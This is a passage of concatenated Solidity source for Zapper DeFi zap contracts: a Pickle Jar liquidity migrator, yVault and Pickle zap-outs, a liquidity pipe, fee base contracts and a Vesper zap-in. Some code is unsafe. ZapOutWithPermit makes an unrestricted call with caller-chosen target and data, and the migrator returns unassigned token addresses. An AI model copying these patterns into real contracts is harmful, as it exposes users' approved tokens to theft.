for (uint256 i = 0; i < tokens.length; i++) {
uint256 qty;
if (tokens[i] == ETHAddress) {
qty = address(this).balance;
Address.sendValue(Address.toPayable(owner()), qty);
} else {
qty = IERC20(tokens[i]).balanceOf(address(this));
IERC20(tokens[i]).safeTransfer(owner(), qty);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract migrates liquidity from the Sushi yveCRV/ETH Pickle Jar to the Sushi yvBOOST/ETH Pickle Jar
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../oz/ownership/Ownable.sol";
import "../oz/token/ERC20/SafeERC20.sol";
interface IPickleJar {
function token() external view returns (address);
function withdraw(uint256 _shares) external;
function getRatio() external view returns (uint256);
function deposit(uint256 amount) external;
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
}
interface IUniswapV2Pair {
function token0() external pure returns (address);
function token1() external pure returns (address);
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
}
interface IYearnZapIn {
function ZapIn(
address fromToken,
uint256 amountIn,
address toVault,
address superVault,
bool isAaveUnderlying,
uint256 minYVTokens,
address intermediateToken,
address swapTarget,
bytes calldata swapData,
address affiliate
) external payable returns (uint256 yvBoostRec);
}
contract yvBoost_Migrator_V1_0_1 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
bool public stopped = false;
address constant yveCRV_ETH_Sushi =
0x10B47177E92Ef9D5C6059055d92DdF6290848991;
address constant yveCRV_ETH_pJar =
0x5Eff6d166D66BacBC1BF52E2C54dD391AE6b1f48;
address constant yvBOOST_ETH_Sushi =
0x9461173740D27311b176476FA27e94C681b1Ea6b;
address constant yvBOOST_ETH_pJar =
0xCeD67a187b923F0E5ebcc77C7f2F7da20099e378;
address constant yveCRV = 0xc5bDdf9843308380375a611c18B50Fb9341f502A;
address constant yvBOOST = 0x9d409a0A012CFbA9B15F6D4B36Ac57A46966Ab9a;
IUniswapV2Router02 private constant sushiSwapRouter =
IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
uint256 private constant deadline =
0xf000000000000000000000000000000000000000000000000000000000000000;
IYearnZapIn yearnZapIn;
constructor(address _yearnZapIn) public {
yearnZapIn = IYearnZapIn(_yearnZapIn);
}
// circuit breaker modifiers
modifier stopInEmergency {
if (stopped) {
revert("Temporarily Paused");
} else {
_;
}
}
/**
@notice This function migrates pTokens from pSushi yveCRV-ETH to pSushi yveBOOST-ETH
@param IncomingLP Quantity of pSushi yveCRV-ETH tokens to migrate
@param minPTokens The minimum acceptable quantity vault tokens to receive. Reverts otherwise
@return pTokensRec- Quantity of pSushi yveBOOST-ETH tokens acquired
*/
function Migrate(uint256 IncomingLP, uint256 minPTokens)
external
stopInEmergency
returns (uint256 pTokensRec)
{
IERC20(yveCRV_ETH_pJar).safeTransferFrom(
msg.sender,
address(this),
IncomingLP
);
uint256 underlyingReceived = _jarWithdraw(yveCRV_ETH_pJar, IncomingLP);
(uint256 amountA, uint256 amountB, address tokenA, ) =
_sushiWithdraw(underlyingReceived);
uint256 wethRec = tokenA == yveCRV ? amountB : amountA;
uint256 yvBoostRec =
_yearnDeposit(tokenA == yveCRV ? amountA : amountB);
IUniswapV2Pair pair = IUniswapV2Pair(yvBOOST_ETH_Sushi);
uint256 token0Amt = pair.token0() == yvBOOST ? yvBoostRec : wethRec;
uint256 token1Amt = pair.token1() == yvBOOST ? yvBoostRec : wethRec;
uint256 sushiLpRec =
_sushiDeposit(pair.token0(), pair.token1(), token0Amt, token1Amt);
pTokensRec = _jarDeposit(sushiLpRec);
require(pTokensRec >= minPTokens, "ERR: High Slippage");
IERC20(yvBOOST_ETH_pJar).transfer(msg.sender, pTokensRec);
}
function _jarWithdraw(address fromJar, uint256 amount)
internal
returns (uint256 underlyingReceived)
{
uint256 iniUnderlyingBal = _getBalance(yveCRV_ETH_Sushi);
IPickleJar(fromJar).withdraw(amount);
underlyingReceived = _getBalance(yveCRV_ETH_Sushi).sub(
iniUnderlyingBal
);
}
function _jarDeposit(uint256 amount)
internal
returns (uint256 pTokensReceived)
{
_approveToken(yvBOOST_ETH_Sushi, yvBOOST_ETH_pJar, amount);
uint256 iniYVaultBal = _getBalance(yvBOOST_ETH_pJar);
IPickleJar(yvBOOST_ETH_pJar).deposit(amount);
pTokensReceived = _getBalance(yvBOOST_ETH_pJar).sub(iniYVaultBal);
}
function _yearnDeposit(uint256 amountIn)
internal
returns (uint256 yvBoostRec)
{
_approveToken(yveCRV, address(yearnZapIn), amountIn);
yvBoostRec = yearnZapIn.ZapIn(
yveCRV,
amountIn,
yvBOOST,
address(0),
false,
0,
yveCRV,
address(0),
"",
address(0)
);
}
function _sushiWithdraw(uint256 IncomingLP)
internal
returns (
uint256 amountA,
uint256 amountB,
address tokenA,
address tokenB
)
{
_approveToken(yveCRV_ETH_Sushi, address(sushiSwapRouter), IncomingLP);
IUniswapV2Pair pair = IUniswapV2Pair(yveCRV_ETH_Sushi);
address token0 = pair.token0();
address token1 = pair.token1();
(amountA, amountB) = sushiSwapRouter.removeLiquidity(
token0,
token1,
IncomingLP,
1,
1,
address(this),
deadline
);
return (amountA, amountB, tokenA, tokenB);
}
function _sushiDeposit(
address toUnipoolToken0,
address toUnipoolToken1,
uint256 token0Bought,
uint256 token1Bought
) internal returns (uint256) {
_approveToken(toUnipoolToken0, address(sushiSwapRouter), token0Bought);
_approveToken(toUnipoolToken1, address(sushiSwapRouter), token1Bought);
(uint256 amountA, uint256 amountB, uint256 LP) =
sushiSwapRouter.addLiquidity(
toUnipoolToken0,
toUnipoolToken1,
token0Bought,
token1Bought,
1,
1,
address(this),
deadline
);
//Returning Residue in token0, if any
if (token0Bought.sub(amountA) > 0) {
IERC20(toUnipoolToken0).safeTransfer(
msg.sender,
token0Bought.sub(amountA)
);
}
//Returning Residue in token1, if any
if (token1Bought.sub(amountB) > 0) {
IERC20(toUnipoolToken1).safeTransfer(
msg.sender,
token1Bought.sub(amountB)
);
}
return LP;
}
function _getBalance(address token)
internal
view
returns (uint256 balance)
{
if (token == address(0)) {
balance = address(this).balance;
} else {
balance = IERC20(token).balanceOf(address(this));
}
}
function _approveToken(
address token,
address spender,
uint256 amount
) internal {
IERC20 _token = IERC20(token);
_token.safeApprove(spender, 0);
_token.safeApprove(spender, amount);
}
function withdrawTokens(address[] calldata tokens) external onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
uint256 qty;
if (tokens[i] == address(0)) {
qty = address(this).balance;
Address.sendValue(Address.toPayable(owner()), qty);
} else {
qty = IERC20(tokens[i]).balanceOf(address(this));
IERC20(tokens[i]).safeTransfer(owner(), qty);
}
}
}
function updateYearnZapIn(address _yearnZapIn) external onlyOwner {
yearnZapIn = IYearnZapIn(_yearnZapIn);
}
// - to Pause the contract
function toggleContractActive() public onlyOwner {
stopped = !stopped;
}
}
pragma solidity ^0.5.7;
import "./ZapBaseV1.sol";
contract ZapOutBaseV1 is ZapBaseV1 {
function _subtractGoodwill(
address token,
uint256 amount,
address affiliate,
bool enableGoodwill
) internal returns (uint256 totalGoodwillPortion) {
bool whitelisted = feeWhitelist[msg.sender];
if (enableGoodwill && !whitelisted && goodwill > 0) {
totalGoodwillPortion = SafeMath.div(
SafeMath.mul(amount, goodwill),
10000
);
if (affiliates[affiliate]) {
if (token == address(0)) {
token = ETHAddress;
}
uint256 affiliatePortion =
totalGoodwillPortion.mul(affiliateSplit).div(100);
affiliateBalance[affiliate][token] = affiliateBalance[
affiliate
][token]
.add(affiliatePortion);
totalAffiliateBalance[token] = totalAffiliateBalance[token].add(
affiliatePortion
);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract removes liquidity from yEarn Vaults to ETH or ERC20 Tokens.
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../_base/ZapOutBaseV1.sol";
interface IYVault {
function deposit(uint256) external;
function withdraw(uint256) external;
function getPricePerFullShare() external view returns (uint256);
function token() external view returns (address);
function decimals() external view returns (uint256);
// V2
function pricePerShare() external view returns (uint256);
}
interface IYVaultV1Registry {
function getVaults() external view returns (address[] memory);
function getVaultsLength() external view returns (uint256);
}
// -- Aave --
interface IAaveLendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
function getLendingPoolCore() external view returns (address payable);
}
interface IAToken {
function redeem(uint256 _amount) external;
function underlyingAssetAddress() external returns (address);
}
contract yVault_ZapOut_V2 is ZapOutBaseV1 {
// calldata only accepted for approved zap contracts
mapping(address => bool) public approvedTargets;
IAaveLendingPoolAddressesProvider
private constant lendingPoolAddressProvider =
IAaveLendingPoolAddressesProvider(
0x24a42fD28C976A61Df5D00D0599C34c4f90748c8
);
IYVaultV1Registry V1Registry =
IYVaultV1Registry(0x3eE41C098f9666ed2eA246f4D2558010e59d63A0);
event Zapout(
address _toWhomToIssue,
address _fromYVaultAddress,
address _toTokenAddress,
uint256 _tokensRecieved
);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
/**
@notice Zap out in to a single token with permit
@param fromVault Vault from which to remove liquidity
@param amountIn Quantity of vault tokens to remove
@param toToken Address of desired token
@param isAaveUnderlying True if vault contains aave token
@param minToTokens Minimum quantity of tokens to receive, reverts otherwise
@param permitData Encoded permit data, which contains owner, spender, value, deadline, r,s,v values
@param swapTarget Execution targets for swap or Zap
@param swapData DEX or Zap data
@param affiliate Affiliate address
@return Quantity of tokens or ETH received
*/
function ZapOutWithPermit(
address fromVault,
uint256 amountIn,
address toToken,
bool isAaveUnderlying,
uint256 minToTokens,
bytes calldata permitData,
address swapTarget,
bytes calldata swapData,
address affiliate
) external returns (uint256 tokensReceived) {
// permit
(bool success, ) = fromVault.call(permitData);
require(success, "Could Not Permit");
return
ZapOut(
fromVault,
amountIn,
toToken,
isAaveUnderlying,
minToTokens,
swapTarget,
swapData,
affiliate
);
}
/**
@notice Zap out in to a single token with permit
@param fromVault Vault from which to remove liquidity
@param amountIn Quantity of vault tokens to remove
@param toToken Address of desired token
@param isAaveUnderlying True if vault contains aave token
@param minToTokens Minimum quantity of tokens to receive, reverts otherwise
@param swapTarget Execution targets for swap or Zap
@param swapData DEX or Zap data
@param affiliate Affiliate address
@return Quantity of tokens or ETH received
*/
function ZapOut(
address fromVault,
uint256 amountIn,
address toToken,
bool isAaveUnderlying,
uint256 minToTokens,
address swapTarget,
bytes memory swapData,
address affiliate
) public stopInEmergency returns (uint256 tokensReceived) {
require(
approvedTargets[swapTarget] || swapTarget == address(0),
"Target not Authorized"
);
IERC20(fromVault).safeTransferFrom(msg.sender, address(this), amountIn);
// get underlying token from vault
address underlyingToken = IYVault(fromVault).token();
uint256 underlyingTokenReceived =
_vaultWithdraw(fromVault, amountIn, underlyingToken);
// swap to toToken
uint256 toTokenAmt;
if (isAaveUnderlying) {
address underlyingAsset =
IAToken(underlyingToken).underlyingAssetAddress();
// unwrap atoken
IAToken(underlyingToken).redeem(underlyingTokenReceived);
// aTokens are 1:1
if (underlyingAsset == toToken) {
toTokenAmt = underlyingTokenReceived;
} else {
toTokenAmt = _fillQuote(
underlyingAsset,
toToken,
underlyingTokenReceived,
swapTarget,
swapData
);
}
} else {
toTokenAmt = _fillQuote(
underlyingToken,
toToken,
underlyingTokenReceived,
swapTarget,
swapData
);
}
require(toTokenAmt >= minToTokens, "Err: High Slippage");
uint256 totalGoodwillPortion =
_subtractGoodwill(toToken, toTokenAmt, affiliate, true);
tokensReceived = toTokenAmt.sub(totalGoodwillPortion);
// send toTokens
if (toToken == address(0)) {
Address.sendValue(msg.sender, tokensReceived);
} else {
IERC20(toToken).safeTransfer(msg.sender, tokensReceived);
}
}
function _vaultWithdraw(
address fromVault,
uint256 amount,
address underlyingVaultToken
) internal returns (uint256 underlyingReceived) {
uint256 iniUnderlyingBal = _getBalance(underlyingVaultToken);
IYVault(fromVault).withdraw(amount);
underlyingReceived = _getBalance(underlyingVaultToken).sub(
iniUnderlyingBal
);
}
function _fillQuote(
address _fromTokenAddress,
address toToken,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (_fromTokenAddress == toToken) {
return _amount;
}
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
_approveToken(_fromTokenAddress, _swapTarget, _amount);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = _swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBal = _getBalance(toToken);
require(finalBal > 0, "ERR: Swapped to wrong token");
amtBought = finalBal.sub(iniBal);
}
/**
@notice Utility function to determine the quantity of underlying tokens removed from vault
@param fromVault Yearn vault from which to remove liquidity
@param liquidity Quantity of vault tokens to remove
@return Quantity of underlying LP or token removed
*/
function removeLiquidityReturn(address fromVault, uint256 liquidity)
external
view
returns (uint256)
{
IYVault vault = IYVault(fromVault);
address[] memory V1Vaults = V1Registry.getVaults();
for (uint256 i = 0; i < V1Registry.getVaultsLength(); i++) {
if (V1Vaults[i] == fromVault)
return
(liquidity.mul(vault.getPricePerFullShare())).div(10**18);
}
return (liquidity.mul(vault.pricePerShare())).div(10**vault.decimals());
}
function setApprovedTargets(
address[] calldata targets,
bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// Visit <https://www.gnu.org/licenses/>for a copy of the GNU Affero General Public License
///@author Zapper
///@notice this contract pipes (rebalances) liquidity among arbitrary pools/vaults
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
import "../_base/ZapOutBaseV1.sol";
contract Zapper_Liquidity_Pipe_V1 is ZapOutBaseV1 {
// calldata only accepted for approved zap contracts
mapping(address => bool) public approvedTargets;
modifier OnlyAuthorized(address[] memory swapTargets) {
require(
(approvedTargets[swapTargets[0]] || swapTargets[0] == address(0)) &&
((approvedTargets[swapTargets[1]]) ||
swapTargets[1] == address(0)),
"Target not Authorized"
);
_;
}
event zapPipe(
address sender,
address fromPool,
address toPool,
uint256 tokensRec
);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
/**
@param fromPool Pool/vault token address from which to remove liquidity
@param IncomingLP Quantity of LP to remove from fromPool
@param intermediateToken Token to exit fromPool into
@param toPool Destination pool/vault token address
@param minPoolTokens Minimum quantity of tokens to receive
@param swapTargets Execution targets for Zaps
@param swapData Zap data
@param affiliate Affiliate address
*/
function ZapPipe(
address fromPool,
uint256 IncomingLP,
address intermediateToken,
address toPool,
uint256 minPoolTokens,
address[] calldata swapTargets,
bytes[] calldata swapData,
address affiliate
)
external
stopInEmergency
OnlyAuthorized(swapTargets)
returns (uint256 tokensRec)
{
IERC20(fromPool).safeTransferFrom(
msg.sender,
address(this),
IncomingLP
);
uint256 intermediateAmt =
_fillQuote(
fromPool,
intermediateToken,
IncomingLP,
swapTargets[0],
swapData[0]
);
uint256 goodwill =
_subtractGoodwill(
intermediateToken,
intermediateAmt,
affiliate,
true
);
tokensRec = _fillQuote(
intermediateToken,
toPool,
intermediateAmt.sub(goodwill),
swapTargets[1],
swapData[1]
);
require(tokensRec >= minPoolTokens, "ERR: High Slippage");
emit zapPipe(msg.sender, fromPool, toPool, tokensRec);
IERC20(toPool).safeTransfer(msg.sender, tokensRec.sub(goodwill));
}
function _fillQuote(
address fromToken,
address toToken,
uint256 amount,
address swapTarget,
bytes memory swapData
) internal returns (uint256 finalBalance) {
uint256 valueToSend;
if (fromToken == address(0)) valueToSend = amount;
else _approveToken(fromToken, swapTarget);
uint256 initialBalance = _getBalance(toToken);
(bool success, ) = swapTarget.call.value(valueToSend)(swapData);
require(success, "Error Swapping Tokens");
finalBalance = _getBalance(toToken).sub(initialBalance);
require(finalBalance > 0, "Swapped to Invalid Token");
}
function setApprovedTargets(
address[] calldata targets,
bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract removes liquidity from Pickle Jars to ETH or ERC20 Tokens.
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../_base/ZapOutBaseV1.sol";
interface IPickleJar {
function token() external view returns (address);
function withdraw(uint256 _shares) external;
function getRatio() external view returns (uint256);
}
contract Pickle_ZapOut_V1 is ZapOutBaseV1 {
// calldata only accepted for approved zap contracts
mapping(address => bool) public approvedTargets;
event Zapout(
address _toWhomToIssue,
address _fromPJarAddress,
address _toTokenAddress,
uint256 _tokensRecieved
);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
/**
@notice Zap out in to a single token or ETH
@param fromJar Pickle Jar from which to remove liquidity
@param amountIn Quantity of Jar tokens to remove
@param toToken Address of desired token
@param minToTokens Minimum quantity of tokens to receive, reverts otherwise
@param swapTarget Execution targets for swap or Zap
@param swapData DEX or Zap data
@param affiliate Affiliate address
@return Quantity of tokens or ETH received
*/
function ZapOut(
address fromJar,
uint256 amountIn,
address toToken,
uint256 minToTokens,
address swapTarget,
bytes memory swapData,
address affiliate
) public stopInEmergency returns (uint256 tokensReceived) {
require(
approvedTargets[swapTarget] || swapTarget == address(0),
"Target not Authorized"
);
IERC20(fromJar).safeTransferFrom(msg.sender, address(this), amountIn);
// withdraw underlying token from jar
address underlyingToken = IPickleJar(fromJar).token();
uint256 underlyingTokenReceived =
_jarWithdraw(fromJar, amountIn, underlyingToken);
// swap to toToken
uint256 toTokenAmt =
_fillQuote(
underlyingToken,
toToken,
underlyingTokenReceived,
swapTarget,
swapData
);
require(toTokenAmt >= minToTokens, "Err: High Slippage");
uint256 totalGoodwillPortion =
_subtractGoodwill(toToken, toTokenAmt, affiliate, true);
tokensReceived = toTokenAmt.sub(totalGoodwillPortion);
// send toTokens
if (toToken == address(0)) {
Address.sendValue(msg.sender, tokensReceived);
} else {
IERC20(toToken).safeTransfer(msg.sender, tokensReceived);
}
}
function _jarWithdraw(
address fromJar,
uint256 amount,
address underlyingToken
) internal returns (uint256 underlyingReceived) {
uint256 iniUnderlyingBal = _getBalance(underlyingToken);
IPickleJar(fromJar).withdraw(amount);
underlyingReceived = _getBalance(underlyingToken).sub(iniUnderlyingBal);
}
function _fillQuote(
address _fromTokenAddress,
address toToken,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (_fromTokenAddress == toToken) {
return _amount;
}
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
_approveToken(_fromTokenAddress, _swapTarget, _amount);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = _swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBal = _getBalance(toToken);
require(finalBal > 0, "ERR: Swapped to wrong token");
amtBought = finalBal.sub(iniBal);
}
/**
@notice Utility function to determine the quantity of underlying tokens removed from jar
@param fromJar Pickle Jar from which to remove liquidity
@param liquidity Quantity of Jar tokens to remove
@return Quantity of underlying LP or token removed
*/
function removeLiquidityReturn(IPickleJar fromJar, uint256 liquidity)
external
view
returns (uint256)
{
return (liquidity.mul(fromJar.getRatio())).div(1e18);
}
function setApprovedTargets(
address[] calldata targets,
bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
pragma solidity ^0.5.7;
import "./ZapBaseV1.sol";
contract ZapInBaseV2 is ZapBaseV1 {
function _pullTokens(
address token,
uint256 amount,
address affiliate,
bool enableGoodwill,
bool shouldSellEntireBalance
) internal returns (uint256 value) {
uint256 totalGoodwillPortion;
if (token == address(0)) {
require(msg.value > 0, "No eth sent");
// subtract goodwill
totalGoodwillPortion = _subtractGoodwill(
ETHAddress,
msg.value,
affiliate,
enableGoodwill
);
return msg.value.sub(totalGoodwillPortion);
}
require(amount > 0, "Invalid token amount");
require(msg.value == 0, "Eth sent with token");
//transfer token
if (shouldSellEntireBalance) {
require(
Address.isContract(msg.sender),
"ERR: shouldSellEntireBalance is true for EOA"
);
amount = IERC20(token).allowance(msg.sender, address(this));
}
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
// subtract goodwill
totalGoodwillPortion = _subtractGoodwill(
token,
amount,
affiliate,
enableGoodwill
);
return amount.sub(totalGoodwillPortion);
}
function _subtractGoodwill(
address token,
uint256 amount,
address affiliate,
bool enableGoodwill
) internal returns (uint256 totalGoodwillPortion) {
bool whitelisted = feeWhitelist[msg.sender];
if (enableGoodwill && !whitelisted && goodwill > 0) {
totalGoodwillPortion = SafeMath.div(
SafeMath.mul(amount, goodwill),
10000
);
if (affiliates[affiliate]) {
if (token == address(0)) {
token = ETHAddress;
}
uint256 affiliatePortion =
totalGoodwillPortion.mul(affiliateSplit).div(100);
affiliateBalance[affiliate][token] = affiliateBalance[
affiliate
][token]
.add(affiliatePortion);
totalAffiliateBalance[token] = totalAffiliateBalance[token].add(
affiliatePortion
);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract adds liquidity to Vesper Vaults using ETH or ERC20 Tokens.
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../_base/ZapInBaseV2.sol";
interface IVesper {
function token() external view returns (address);
function deposit(uint256 amount) external;
}
contract Vesper_ZapIn_V1 is ZapInBaseV2 {
// calldata only accepted for approved zap contracts
mapping(address => bool) public approvedTargets;
event zapIn(address sender, address pool, uint256 tokensRec);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
/**
@notice This function adds liquidity to a Vesper vaults with ETH or ERC20 tokens
@param fromToken The token used for entry (address(0) if ether)
@param amountIn The amount of fromToken to invest
@param toVault Vesper vault address
@param minVaultTokens The minimum acceptable quantity vault tokens to receive. Reverts otherwise
@param swapTarget Excecution target for the swap or zap
@param swapData DEX or Zap data
@param affiliate Affiliate address
@param shouldSellEntireBalance True if amountIn is determined at execution time (i.e. contract is caller)
@return tokensReceived- Quantity of Vault tokens received
*/
function ZapIn(
address fromToken,
uint256 amountIn,
address toVault,
uint256 minVaultTokens,
address swapTarget,
bytes calldata swapData,
address affiliate,
bool shouldSellEntireBalance
) external payable stopInEmergency returns (uint256 tokensReceived) {
require(
approvedTargets[swapTarget] || swapTarget == address(0),
"Target not Authorized"
);
// get incoming tokens
uint256 toInvest =
_pullTokens(
fromToken,
amountIn,
affiliate,
true,
shouldSellEntireBalance
);
address underlyingVaultToken = IVesper(toVault).token();
// get intermediate token
uint256 intermediateAmt =
_fillQuote(
fromToken,
underlyingVaultToken,
toInvest,
swapTarget,
swapData
);
// Deposit to Vault
tokensReceived = _vaultDeposit(
intermediateAmt,
toVault,
minVaultTokens
);
}
function _vaultDeposit(
uint256 amount,
address toVault,
uint256 minTokensRec
) internal returns (uint256 tokensReceived) {
address underlyingVaultToken = IVesper(toVault).token();
_approveToken(underlyingVaultToken, toVault);
uint256 iniYVaultBal = IERC20(toVault).balanceOf(address(this));
IVesper(toVault).deposit(amount);
tokensReceived = IERC20(toVault).balanceOf(address(this)).sub(
iniYVaultBal
);
require(tokensReceived >= minTokensRec, "Err: High Slippage");
IERC20(toVault).safeTransfer(msg.sender, tokensReceived);
emit zapIn(msg.sender, toVault, tokensReceived);
}
function _fillQuote(
address _fromTokenAddress,
address toToken,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (_fromTokenAddress == toToken) {
return _amount;
}
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
_approveToken(_fromTokenAddress, _swapTarget);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = _swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function setApprovedTargets(
address[] calldata targets,
